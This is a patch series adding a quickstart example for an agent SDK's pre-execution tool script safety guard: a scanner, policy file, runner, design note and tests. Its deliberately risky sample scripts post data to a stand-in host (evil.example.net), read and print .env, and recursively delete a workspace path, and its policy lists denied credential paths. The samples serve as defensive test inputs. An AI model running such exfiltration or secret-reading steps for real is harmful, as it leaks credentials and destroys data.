ToolSafetyReport( decision=decision, risk_level=risk_level, @@ -383,8 +387,7 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - line_no=line_no, )) parallel_tasks = parallel_tasks_from_tokens(command_tokens) - if parallel_tasks is not None and ( - parallel_tasks == 0 or parallel_tasks > self.policy.max_parallel_tasks): + if parallel_tasks is not None and (parallel_tasks == 0 or parallel_tasks > self.policy.max_parallel_tasks): findings.append( finding( "TSG-RESOURCE-PARALLELISM", @@ -407,7 +410,8 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - line_no=line_no, )) if command == "rm" and is_recursive_delete(command_tokens): - risk = SafetyRiskLevel.CRITICAL if targets_system_or_denied_path(command_tokens, self.policy) else SafetyRiskLevel.HIGH + risk = SafetyRiskLevel.CRITICAL if targets_system_or_denied_path(command_tokens, + self.policy) else SafetyRiskLevel.HIGH findings.append( finding( "TSG-FILE-RECURSIVE-DELETE", @@ -461,7 +465,8 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - SafetyRiskLevel.HIGH, "Shell redirection references a denied sensitive path.", evidence, - "Remove direct access to credential paths such as .env, ~/.ssh, and cloud credential files.", + "Remove direct access to credential paths such as .env, ~/.ssh, " + "and cloud credential files.", line_no=line_no, )) if command in {"cat", "grep", "awk", "sed", "tail", "head"} and any( @@ -700,8 +705,7 @@ def handle_process_call(self, node: ast.Call, call_name: str) -> None: ) if keyword_bool(node, "capture_output") or any( self.call_name(keyword.value) == "subprocess.PIPE" - for keyword in node.keywords - if keyword.arg in {"stdout", "stderr"}): + for keyword in node.keywords if keyword.arg in {"stdout", "stderr"}): self.add( "TSG-RESOURCE-OUTPUT-CAPTURE", "resource_abuse", @@ -736,7 +740,8 @@ def handle_open_call(self, node: ast.Call, call_name: str) -> None: if kw.arg == "mode": mode = self.constant_string(kw.value) or mode if path_text and self.policy.is_denied_path(path_text): - risk_type = "sensitive_information_leak" if "r" in mode and not any(flag in mode for flag in "wa+") else "dangerous_file_operation" + risk_type = "sensitive_information_leak" if "r" in mode and not any( + flag in mode for flag in "wa+") else "dangerous_file_operation" self.add( "TSG-FILE-DENIED-PATH", risk_type, @@ -1023,7 +1028,6 @@ def range_count(self, node: ast.Call) -> int | None: start, stop = numbers[:2] step = numbers[2] if len(numbers) >= 3 and numbers[2] != 0 else 1 return max((stop - start + (step - 1)) // step, 0) - return None def normalize_language(language: str | None) -> str: From f71c80f7670a1e0f0d09dff8a1180c922fce352b Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Mon, 6 Jul 2026 20:24:46 +0800 Subject: [PATCH 5/6] Add tool safety quickstart example --- examples/tool_safety_guard/README.md | 10 ++ .../tool_safety_guard/quickstart/README.md | 80 +++++++++ .../tool_safety_guard/quickstart/design.md | 31 ++++ .../tool_safety_guard/quickstart/policy.yaml | 33 ++++ .../tool_safety_guard/quickstart/run_guard.py | 166 ++++++++++++++++++ .../quickstart/scripts/dangerous_cleanup.sh | 4 + .../quickstart/scripts/external_upload.py | 14 ++ .../quickstart/scripts/read_secret.py | 10 ++ .../quickstart/scripts/review_subprocess.py | 9 + .../quickstart/scripts/safe_report.py | 12 ++ .../quickstart/tool_service.py | 55 ++++++ tests/tools/safety/test_tool_safety_guard.py | 24 +++ 12 files changed, 448 insertions(+) create mode 100644 examples/tool_safety_guard/quickstart/README.md create mode 100644 examples/tool_safety_guard/quickstart/design.md create mode 100644 examples/tool_safety_guard/quickstart/policy.yaml create mode 100644 examples/tool_safety_guard/quickstart/run_guard.py create mode 100644 examples/tool_safety_guard/quickstart/scripts/dangerous_cleanup.sh create mode 100644 examples/tool_safety_guard/quickstart/scripts/external_upload.py create mode 100644 examples/tool_safety_guard/quickstart/scripts/read_secret.py create mode 100644 examples/tool_safety_guard/quickstart/scripts/review_subprocess.py create mode 100644 examples/tool_safety_guard/quickstart/scripts/safe_report.py create mode 100644 examples/tool_safety_guard/quickstart/tool_service.py diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index 4f27ae02..c15f7aed 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -2,6 +2,16 @@ This example shows how to scan Python and Bash tool scripts before execution. It uses a policy file, emits structured reports, appends JSONL audit events, and can be attached as a Tool Filter or CodeExecutor wrapper. +## Quickstart Project + +For a project-shaped walkthrough similar to the optimization quickstart examples, start here: + +```bash +python examples/tool_safety_guard/quickstart/run_guard.py +``` + +That directory contains an entry script, a dry-run tool service, a policy file, sample tool scripts, a design note, and generated report/audit outputs. It demonstrates the same guard through direct scan, Tool Filter, and CodeExecutor wrapper paths without executing untrusted script bodies. + ## Run The Samples ```bash diff --git a/examples/tool_safety_guard/quickstart/README.md b/examples/tool_safety_guard/quickstart/README.md new file mode 100644 index 00000000..590c468c --- /dev/null +++ b/examples/tool_safety_guard/quickstart/README.md @@ -0,0 +1,80 @@ +# Tool Safety Guard Quickstart + +This quickstart is a small project-shaped example for the tool script safety guard. It mirrors the structure used by optimization quickstart examples: one entry script, one service module, one policy file, and a few representative inputs. + +## Directory + +```text +examples/tool_safety_guard/quickstart/ +|-- run_guard.py +|-- tool_service.py +|-- policy.yaml +|-- design.md +`-- scripts/ + |-- safe_report.py + |-- external_upload.py + |-- read_secret.py + |-- review_subprocess.py + `-- dangerous_cleanup.sh +``` + +`scripts/` is not meant to be executed directly. The runner feeds each file into the guard and uses dry-run delegates to show where a real tool or CodeExecutor would be blocked. + +## Run + +From the repository root: + +```bash +python examples/tool_safety_guard/quickstart/run_guard.py +``` + +Or with the Windows launcher used in this workspace: + +```bash +py -3.14 examples/tool_safety_guard/quickstart/run_guard.py +``` + +The run writes: + +```text +examples/tool_safety_guard/quickstart/out/ +|-- quickstart_report.json +`-- audit.jsonl +``` + +Expected decisions: + +| case | expected decision | why | +| --- | --- | --- | +| `safe_report` | `allow` | Local bounded file write under the project output directory. | +| `external_upload` | `deny` | Network egress to a domain not in `allowed_domains`. | +| `read_secret` | `deny` | Reads `.env`, which is configured as a denied path. | +| `review_subprocess` | `needs_human_review` | Starts a subprocess, which is review-worthy but not always unsafe. | +| `dangerous_cleanup` | `deny` | Recursive delete pattern. | + +## What This Demonstrates + +The same `ToolSafetyGuard` is used in three places: + +- Direct scan: `guard.scan(ToolSafetyScanRequest(...))` returns a structured report. +- Tool Filter: `ToolSafetyFilter` blocks script-like tool arguments before the tool body runs. +- CodeExecutor wrapper: `SafetyGuardedCodeExecutor` scans code blocks before delegating to an executor. + +This is the intended production shape: keep execution code simple, put static pre-execution policy in one reusable guard, and write audit events for every decision. + +## Policy Knobs + +`policy.yaml` controls the main behavior without code changes: + +- `allowed_domains`: network egress allowlist. +- `allowed_commands`: command allowlist for shell-like command scans. +- `denied_paths`: sensitive path patterns. +- `system_write_paths`: protected roots. +- resource limits such as `max_sleep_seconds`, `max_loop_iterations`, and `max_parallel_tasks`. +- `deny_risk_level`, `review_risk_level`, and `block_on_review`. + +Try adding `evil.example.net` to `allowed_domains`; `external_upload.py` will no longer be denied for non-allowlisted egress, although it still records network-related findings. + +## Relationship To The Sample Matrix + +The parent `examples/tool_safety_guard/samples/` directory remains the acceptance matrix with 12 focused cases. This quickstart is the narrative example: it shows how the scanner, filter, executor wrapper, report, and audit event fit together in a minimal application. diff --git a/examples/tool_safety_guard/quickstart/design.md b/examples/tool_safety_guard/quickstart/design.md new file mode 100644 index 00000000..f820921d --- /dev/null +++ b/examples/tool_safety_guard/quickstart/design.md @@ -0,0 +1,31 @@ +# Design Notes + +## Problem Shape + +Agents increasingly call tools that accept script-like payloads: a Bash command, a Python snippet, generated code blocks, or a file-backed skill script. Those payloads can perform useful local work, but they can also delete files, exfiltrate secrets, install packages, start unbounded subprocesses, or contact unapproved network destinations. The safety guard is a pre-execution control that makes those risks visible before the tool body runs. + +## Architecture + +The quickstart has three layers: + +1. `policy.yaml` defines environment-specific rules: allowed network domains, allowed commands, denied paths, protected system roots, resource thresholds, and the risk levels that map to `allow`, `needs_human_review`, or `deny`. +2. `ToolSafetyGuard` owns scanning, decision calculation, telemetry attributes, and audit emission. It receives a `ToolSafetyScanRequest` and returns a `ToolSafetyReport`. +3. Integration adapters place the guard in front of execution. `ToolSafetyFilter` protects ordinary tools by scanning common argument names such as `command`, `script`, `code`, and `code_blocks`. `SafetyGuardedCodeExecutor` protects CodeExecutor delegates by scanning every code block before delegation. + +The quickstart runner exercises all three layers with the same sample scripts. Direct scan shows the raw report. The filter path proves that a blocked script prevents the tool handler from running. The CodeExecutor path proves that generated code is stopped before the executor delegate sees it. + +## Decision Model + +Scanning produces findings with stable `rule_id`, `risk_type`, `risk_level`, evidence, source line, redaction status, and remediation guidance. The aggregate decision is policy driven: findings at or above `deny_risk_level` become `deny`; findings at or above `review_risk_level` become `needs_human_review`; otherwise the report is `allow`. With `block_on_review: true`, review-needed scripts are blocked by adapters even though the decision is distinct from a hard deny. + +## Rule Strategy + +Python uses AST analysis first because it can distinguish imports, calls, path literals, loop bounds, subprocess options, and write modes more reliably than plain text matching. Bash uses tokenization and targeted shell-pattern checks for command prefixes, redirections, control operators, recursive deletes, network commands, dependency installation, and fork-bomb patterns. Regex is reserved for cross-language text risks such as literal secrets and URLs. + +## Audit And Telemetry + +Each report includes OpenTelemetry-ready attributes such as `tool.safety.decision`, `tool.safety.risk_level`, `tool.safety.rule_id`, `tool.safety.rule_ids`, and `tool.safety.blocked`. When an audit path is configured, the guard appends a compact JSONL event with the same decision, policy version, finding count, redaction flag, and primary rule id. This gives operators a low-cardinality signal for dashboards and a durable trail for incident review. + +## Safety Boundaries + +The guard is intentionally static and pre-execution. It reduces obvious risk and gives consistent policy enforcement, but it is not a sandbox. Obfuscated strings, downloaded second-stage scripts, interpreter-specific behavior, shell expansion, and generated runtime code can bypass static analysis. Production deployments should still use sandbox isolation, least-privilege credentials, read-only mounts where possible, network egress controls, resource limits, timeouts, and post-execution monitoring. diff --git a/examples/tool_safety_guard/quickstart/policy.yaml b/examples/tool_safety_guard/quickstart/policy.yaml new file mode 100644 index 00000000..0e1c8d43 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/policy.yaml @@ -0,0 +1,33 @@ +name: tool-safety-quickstart +version: "1" +allowed_domains: + - api.github.com +allowed_commands: + - cat + - echo + - python + - python3 + - pwd +denied_paths: + - ~/.ssh + - .env + - .aws/credentials + - id_rsa + - id_ed25519 + - credentials +system_write_paths: + - / + - /etc + - /usr + - /var + - /root +max_timeout_seconds: 60 +max_output_bytes: 200000 +max_sleep_seconds: 20 +max_loop_iterations: 10000 +max_literal_write_bytes: 200000 +max_parallel_tasks: 16 +deny_risk_level: high +review_risk_level: medium +block_on_review: true +redact_secrets: true diff --git a/examples/tool_safety_guard/quickstart/run_guard.py b/examples/tool_safety_guard/quickstart/run_guard.py new file mode 100644 index 00000000..7f2fbb69 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/run_guard.py @@ -0,0 +1,166 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Run the tool safety guard quickstart project. + +This script demonstrates the same guard in three integration points: +direct scan, Tool Filter, and CodeExecutor wrapper. It writes a structured +summary under ``out/`` without executing any untrusted sample script. +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import sys +from pathlib import Path +from typing import Any + +HERE = Path(__file__).resolve().parent +REPO_ROOT = HERE.parents[2] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from trpc_agent_sdk.code_executors import CodeBlock # noqa: E402 +from trpc_agent_sdk.code_executors import CodeExecutionInput # noqa: E402 +from trpc_agent_sdk.context import create_agent_context # noqa: E402 +from trpc_agent_sdk.filter import FilterResult # noqa: E402 +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor # noqa: E402 +from trpc_agent_sdk.tools.safety import ToolSafetyFilter # noqa: E402 +from trpc_agent_sdk.tools.safety import ToolSafetyGuard # noqa: E402 +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy # noqa: E402 +from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest # noqa: E402 + +try: + from examples.tool_safety_guard.quickstart.tool_service import DryRunScriptExecutor # noqa: E402 + from examples.tool_safety_guard.quickstart.tool_service import dry_run_tool # noqa: E402 + from examples.tool_safety_guard.quickstart.tool_service import read_script # noqa: E402 +except ModuleNotFoundError: + from tool_service import DryRunScriptExecutor # noqa: E402 + from tool_service import dry_run_tool # noqa: E402 + from tool_service import read_script # noqa: E402 + +DEFAULT_POLICY = HERE / "policy.yaml" +DEFAULT_OUT = HERE / "out" +DEFAULT_CASES = [ + ("safe_report", HERE / "scripts" / "safe_report.py", "python"), + ("external_upload", HERE / "scripts" / "external_upload.py", "python"), + ("read_secret", HERE / "scripts" / "read_secret.py", "python"), + ("review_subprocess", HERE / "scripts" / "review_subprocess.py", "python"), + ("dangerous_cleanup", HERE / "scripts" / "dangerous_cleanup.sh", "bash"), +] + + +def _write_json(path: Path, payload: Any) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload, ensure_ascii=False, indent=2) + "\n", encoding="utf-8") + + +async def _run_filter_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: + filter_ = ToolSafetyFilter(guard=guard) + + async def handle() -> FilterResult: + return FilterResult(rsp=await dry_run_tool(script, language=language)) + + result = await filter_.run( + create_agent_context(), + { + "script": script, + "language": language, + "cwd": str(HERE), + }, + handle, + ) + return { + "continued": bool(result.is_continue), + "response": result.rsp, + } + + +async def _run_executor_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: + executor = SafetyGuardedCodeExecutor( + delegate=DryRunScriptExecutor(work_dir=str(HERE)), + guard=guard, + ) + result = await executor.execute_code( + invocation_context=None, # type: ignore[arg-type] + code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(language=language, code=script)]), + ) + return { + "outcome": result.outcome.value if hasattr(result.outcome, "value") else str(result.outcome), + "output": result.output, + } + + +async def run_quickstart(*, policy_path: Path = DEFAULT_POLICY, output_dir: Path = DEFAULT_OUT) -> dict[str, Any]: + policy = ToolSafetyPolicy.load(policy_path) + audit_path = output_dir / "audit.jsonl" + guard = ToolSafetyGuard(policy=policy, audit_log_path=audit_path) + cases = [] + + for name, path, language in DEFAULT_CASES: + script = read_script(path) + report = guard.scan( + ToolSafetyScanRequest( + script=script, + language=language, + cwd=str(HERE), + tool_metadata={ + "name": name, + "script_path": str(path), + }, + )) + filter_result = await _run_filter_case(guard, script, language) + executor_result = await _run_executor_case(guard, script, language) + cases.append({ + "name": name, + "script": str(path.relative_to(HERE)), + "language": language, + "decision": report.decision.value if hasattr(report.decision, "value") else str(report.decision), + "risk_level": report.risk_level.value if hasattr(report.risk_level, "value") else str(report.risk_level), + "blocked": report.blocked, + "rule_ids": [finding.rule_id for finding in report.findings], + "summary": report.summary, + "filter": filter_result, + "code_executor": executor_result, + }) + + summary = { + "policy": { + "name": policy.name, + "version": policy.version, + "path": str(policy_path), + }, + "case_count": len(cases), + "decision_counts": { + decision: sum(1 for case in cases if case["decision"] == decision) + for decision in sorted({case["decision"] for case in cases}) + }, + "cases": cases, + "audit_log": str(audit_path), + } + _write_json(output_dir / "quickstart_report.json", summary) + return summary + + +def _parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run the tool safety guard quickstart.") + parser.add_argument("--policy", type=Path, default=DEFAULT_POLICY) + parser.add_argument("--output-dir", type=Path, default=DEFAULT_OUT) + return parser.parse_args() + + +def main() -> None: + args = _parse_args() + summary = asyncio.run(run_quickstart(policy_path=args.policy.resolve(), output_dir=args.output_dir.resolve())) + print("Tool safety quickstart decisions:") + for case in summary["cases"]: + print(f"- {case['name']}: {case['decision']} ({', '.join(case['rule_ids']) or 'no findings'})") + print(f"Report written to: {summary['audit_log']}") + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/scripts/dangerous_cleanup.sh b/examples/tool_safety_guard/quickstart/scripts/dangerous_cleanup.sh new file mode 100644 index 00000000..0422145b --- /dev/null +++ b/examples/tool_safety_guard/quickstart/scripts/dangerous_cleanup.sh @@ -0,0 +1,4 @@ +#!/usr/bin/env bash +set -euo pipefail + +rm -rf /tmp/agent-workspace/* diff --git a/examples/tool_safety_guard/quickstart/scripts/external_upload.py b/examples/tool_safety_guard/quickstart/scripts/external_upload.py new file mode 100644 index 00000000..68aec6f0 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/scripts/external_upload.py @@ -0,0 +1,14 @@ +import requests + + +def main() -> None: + response = requests.post( + "https://evil.example.net/collect", + json={"artifact": "agent-run-log"}, + timeout=5, + ) + print(response.status_code) + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/scripts/read_secret.py b/examples/tool_safety_guard/quickstart/scripts/read_secret.py new file mode 100644 index 00000000..75f86067 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/scripts/read_secret.py @@ -0,0 +1,10 @@ +from pathlib import Path + + +def main() -> None: + token = Path(".env").read_text(encoding="utf-8") + print(token) + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/scripts/review_subprocess.py b/examples/tool_safety_guard/quickstart/scripts/review_subprocess.py new file mode 100644 index 00000000..1cdaa7e0 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/scripts/review_subprocess.py @@ -0,0 +1,9 @@ +import subprocess + + +def main() -> None: + subprocess.run(["python", "worker.py"], check=True, timeout=10) + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/scripts/safe_report.py b/examples/tool_safety_guard/quickstart/scripts/safe_report.py new file mode 100644 index 00000000..a706a731 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/scripts/safe_report.py @@ -0,0 +1,12 @@ +from pathlib import Path + + +def main() -> None: + output = Path("out/safe_report.txt") + output.parent.mkdir(parents=True, exist_ok=True) + output.write_text("quickstart report generated\n", encoding="utf-8") + print("report ready") + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/quickstart/tool_service.py b/examples/tool_safety_guard/quickstart/tool_service.py new file mode 100644 index 00000000..4b0be9d9 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/tool_service.py @@ -0,0 +1,55 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tiny script execution service used by the safety quickstart example. + +The service intentionally does not execute untrusted scripts. Its methods are +small enough to show exactly where the safety guard is inserted in front of a +tool-like function and a CodeExecutor-like runtime. +""" + +from __future__ import annotations + +from pathlib import Path + +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import CodeExecutionResult +from trpc_agent_sdk.code_executors import create_code_execution_result +from trpc_agent_sdk.context import InvocationContext + + +class DryRunScriptExecutor(BaseCodeExecutor): + """CodeExecutor delegate that records what would have executed.""" + + work_dir: str = "" + + async def execute_code( + self, + invocation_context: InvocationContext, + code_execution_input: CodeExecutionInput, + ) -> CodeExecutionResult: + snippets = [block.code for block in code_execution_input.code_blocks] + if code_execution_input.code: + snippets.append(code_execution_input.code) + line_count = sum(len(snippet.splitlines()) for snippet in snippets) + return create_code_execution_result(stdout=f"dry-run accepted {line_count} line(s)") + + +async def dry_run_tool(script: str, *, language: str) -> dict[str, str]: + """Pretend to execute a tool script after filters have approved it.""" + + first_line = next((line.strip() for line in script.splitlines() if line.strip()), "") + return { + "status": "executed", + "language": language, + "first_line": first_line, + } + + +def read_script(path: Path) -> str: + """Read a UTF-8 script file for the quickstart runner.""" + + return path.read_text(encoding="utf-8") diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py index 1aed0db0..4451d008 100644 --- a/tests/tools/safety/test_tool_safety_guard.py +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -41,10 +41,12 @@ from trpc_agent_sdk.tools.safety._types import max_risk_level from trpc_agent_sdk.tools.safety._types import risk_level_value from scripts.tool_safety_check import main as tool_safety_check_main +from examples.tool_safety_guard.quickstart.run_guard import run_quickstart EXAMPLE_DIR = Path(__file__).resolve().parents[3] / "examples" / "tool_safety_guard" SAMPLES = EXAMPLE_DIR / "samples" +QUICKSTART = EXAMPLE_DIR / "quickstart" def policy(**kwargs): @@ -176,6 +178,28 @@ def test_cli_scans_public_samples_and_writes_structured_reports(tmp_path, monkey assert payload["findings"][0]["recommendation"] +@pytest.mark.asyncio +async def test_quickstart_project_runs_and_writes_report(tmp_path): + summary = await run_quickstart( + policy_path=QUICKSTART / "policy.yaml", + output_dir=tmp_path, + ) + + decisions = {case["name"]: case["decision"] for case in summary["cases"]} + assert decisions == { + "dangerous_cleanup": "deny", + "external_upload": "deny", + "read_secret": "deny", + "review_subprocess": "needs_human_review", + "safe_report": "allow", + } + assert (tmp_path / "quickstart_report.json").exists() + assert (tmp_path / "audit.jsonl").exists() + blocked_cases = [case for case in summary["cases"] if case["decision"] != "allow"] + assert all(case["filter"]["continued"] is False for case in blocked_cases) + assert any("Tool safety guard blocked" in case["code_executor"]["output"] for case in blocked_cases) + + def test_denied_path_policy_change_changes_result(): script = 'open(".env", "r").read()' strict = ToolSafetyScanner(policy(denied_paths=[".env"])) From d2c0af16f88ba6061fddf4531ad8785830ec7b6e Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Tue, 7 Jul 2026 22:26:02 +0800 Subject: [PATCH 6/6] Align tool safety quickstart structure --- examples/tool_safety_guard/README.md | 4 +- .../tool_safety_guard/quickstart/README.md | 16 +- .../quickstart/agent/__init__.py | 10 ++ .../quickstart/agent/agent.py | 145 +++++++++++++++ .../quickstart/agent/config.py | 35 ++++ .../{tool_service.py => agent/tools.py} | 6 +- .../tool_safety_guard/quickstart/design.md | 6 +- .../tool_safety_guard/quickstart/run_agent.py | 45 +++++ .../tool_safety_guard/quickstart/run_guard.py | 166 ------------------ tests/tools/safety/test_tool_safety_guard.py | 2 +- 10 files changed, 255 insertions(+), 180 deletions(-) create mode 100644 examples/tool_safety_guard/quickstart/agent/__init__.py create mode 100644 examples/tool_safety_guard/quickstart/agent/agent.py create mode 100644 examples/tool_safety_guard/quickstart/agent/config.py rename examples/tool_safety_guard/quickstart/{tool_service.py => agent/tools.py} (89%) create mode 100644 examples/tool_safety_guard/quickstart/run_agent.py delete mode 100644 examples/tool_safety_guard/quickstart/run_guard.py diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index c15f7aed..48a64f46 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -7,10 +7,10 @@ This example shows how to scan Python and Bash tool scripts before execution. It For a project-shaped walkthrough similar to the optimization quickstart examples, start here: ```bash -python examples/tool_safety_guard/quickstart/run_guard.py +python examples/tool_safety_guard/quickstart/run_agent.py ``` -That directory contains an entry script, a dry-run tool service, a policy file, sample tool scripts, a design note, and generated report/audit outputs. It demonstrates the same guard through direct scan, Tool Filter, and CodeExecutor wrapper paths without executing untrusted script bodies. +That directory follows the same shape as other quickstart examples: `run_agent.py` is the entry point, `agent/` contains the application logic and dry-run tool service, `policy.yaml` holds the safety knobs, and `scripts/` contains sample tool payloads. It demonstrates the same guard through direct scan, Tool Filter, and CodeExecutor wrapper paths without executing untrusted script bodies. ## Run The Samples diff --git a/examples/tool_safety_guard/quickstart/README.md b/examples/tool_safety_guard/quickstart/README.md index 590c468c..8919159b 100644 --- a/examples/tool_safety_guard/quickstart/README.md +++ b/examples/tool_safety_guard/quickstart/README.md @@ -1,15 +1,19 @@ # Tool Safety Guard Quickstart -This quickstart is a small project-shaped example for the tool script safety guard. It mirrors the structure used by optimization quickstart examples: one entry script, one service module, one policy file, and a few representative inputs. +This quickstart is a small project-shaped example for the tool script safety guard. It mirrors the structure used by other quickstart examples: `run_agent.py` is the entry point, `agent/` contains the reusable application modules, `policy.yaml` contains policy knobs, and `scripts/` contains representative tool payloads. ## Directory ```text examples/tool_safety_guard/quickstart/ -|-- run_guard.py -|-- tool_service.py +|-- run_agent.py |-- policy.yaml |-- design.md +|-- agent/ +| |-- __init__.py +| |-- agent.py +| |-- config.py +| `-- tools.py `-- scripts/ |-- safe_report.py |-- external_upload.py @@ -25,13 +29,13 @@ examples/tool_safety_guard/quickstart/ From the repository root: ```bash -python examples/tool_safety_guard/quickstart/run_guard.py +python examples/tool_safety_guard/quickstart/run_agent.py ``` Or with the Windows launcher used in this workspace: ```bash -py -3.14 examples/tool_safety_guard/quickstart/run_guard.py +py -3.14 examples/tool_safety_guard/quickstart/run_agent.py ``` The run writes: @@ -54,7 +58,7 @@ Expected decisions: ## What This Demonstrates -The same `ToolSafetyGuard` is used in three places: +The same `ToolSafetyGuard` is used in three places from `agent/agent.py`: - Direct scan: `guard.scan(ToolSafetyScanRequest(...))` returns a structured report. - Tool Filter: `ToolSafetyFilter` blocks script-like tool arguments before the tool body runs. diff --git a/examples/tool_safety_guard/quickstart/agent/__init__.py b/examples/tool_safety_guard/quickstart/agent/__init__.py new file mode 100644 index 00000000..c0797542 --- /dev/null +++ b/examples/tool_safety_guard/quickstart/agent/__init__.py @@ -0,0 +1,10 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool safety guard quickstart agent package.""" + +from .agent import run_quickstart + +__all__ = ["run_quickstart"] diff --git a/examples/tool_safety_guard/quickstart/agent/agent.py b/examples/tool_safety_guard/quickstart/agent/agent.py new file mode 100644 index 00000000..3153389c --- /dev/null +++ b/examples/tool_safety_guard/quickstart/agent/agent.py @@ -0,0 +1,145 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool safety guard quickstart application logic. + +This module is shaped like other quickstart ``agent/agent.py`` files, but it is +model-free on purpose: the issue being demonstrated is pre-execution script +safety for tools and code executors, so the sample can run without API keys. +""" + +from __future__ import annotations + +import json +from collections.abc import Iterable +from pathlib import Path +from typing import Any + +from trpc_agent_sdk.code_executors import CodeBlock +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.context import create_agent_context +from trpc_agent_sdk.filter import FilterResult +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyFilter +from trpc_agent_sdk.tools.safety import ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest + +from .config import DEFAULT_CASES +from .config import DEFAULT_OUT +from .config import DEFAULT_POLICY +from .config import QUICKSTART_DIR +from .config import ScriptSafetyCase +from .tools import DryRunScriptExecutor +from .tools import dry_run_tool +from .tools import read_script + + +def _enum_value(value: Any) -> str: + return value.value if hasattr(value, "value") else str(value) + + +def _write_json(path: Path, payload: Any) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload, ensure_ascii=False, indent=2) + "\n", encoding="utf-8") + + +async def _run_filter_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: + filter_ = ToolSafetyFilter(guard=guard) + + async def handle() -> FilterResult: + return FilterResult(rsp=await dry_run_tool(script, language=language)) + + result = await filter_.run( + create_agent_context(), + { + "script": script, + "language": language, + "cwd": str(QUICKSTART_DIR), + }, + handle, + ) + return { + "continued": bool(result.is_continue), + "response": result.rsp, + } + + +async def _run_executor_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]: + executor = SafetyGuardedCodeExecutor( + delegate=DryRunScriptExecutor(work_dir=str(QUICKSTART_DIR)), + guard=guard, + ) + result = await executor.execute_code( + invocation_context=None, # type: ignore[arg-type] + code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(language=language, code=script)]), + ) + return { + "outcome": _enum_value(result.outcome), + "output": result.output, + } + + +async def run_quickstart( + *, + policy_path: Path = DEFAULT_POLICY, + output_dir: Path = DEFAULT_OUT, + cases: Iterable[ScriptSafetyCase] = DEFAULT_CASES, +) -> dict[str, Any]: + """Run the model-free tool safety quickstart and write a report.""" + + policy = ToolSafetyPolicy.load(policy_path) + audit_path = output_dir / "audit.jsonl" + report_path = output_dir / "quickstart_report.json" + guard = ToolSafetyGuard(policy=policy, audit_log_path=audit_path) + case_results = [] + + for case in cases: + script = read_script(case.script_path) + report = guard.scan( + ToolSafetyScanRequest( + script=script, + language=case.language, + cwd=str(QUICKSTART_DIR), + tool_metadata={ + "name": case.name, + "script_path": str(case.script_path), + }, + ) + ) + filter_result = await _run_filter_case(guard, script, case.language) + executor_result = await _run_executor_case(guard, script, case.language) + case_results.append( + { + "name": case.name, + "script": str(case.script_path.relative_to(QUICKSTART_DIR)), + "language": case.language, + "decision": _enum_value(report.decision), + "risk_level": _enum_value(report.risk_level), + "blocked": report.blocked, + "rule_ids": [finding.rule_id for finding in report.findings], + "summary": report.summary, + "filter": filter_result, + "code_executor": executor_result, + } + ) + + summary = { + "policy": { + "name": policy.name, + "version": policy.version, + "path": str(policy_path), + }, + "case_count": len(case_results), + "decision_counts": { + decision: sum(1 for case in case_results if case["decision"] == decision) + for decision in sorted({case["decision"] for case in case_results}) + }, + "cases": case_results, + "report": str(report_path), + "audit_log": str(audit_path), + } + _write_json(report_path, summary) + return summary diff --git a/examples/tool_safety_guard/quickstart/agent/config.py 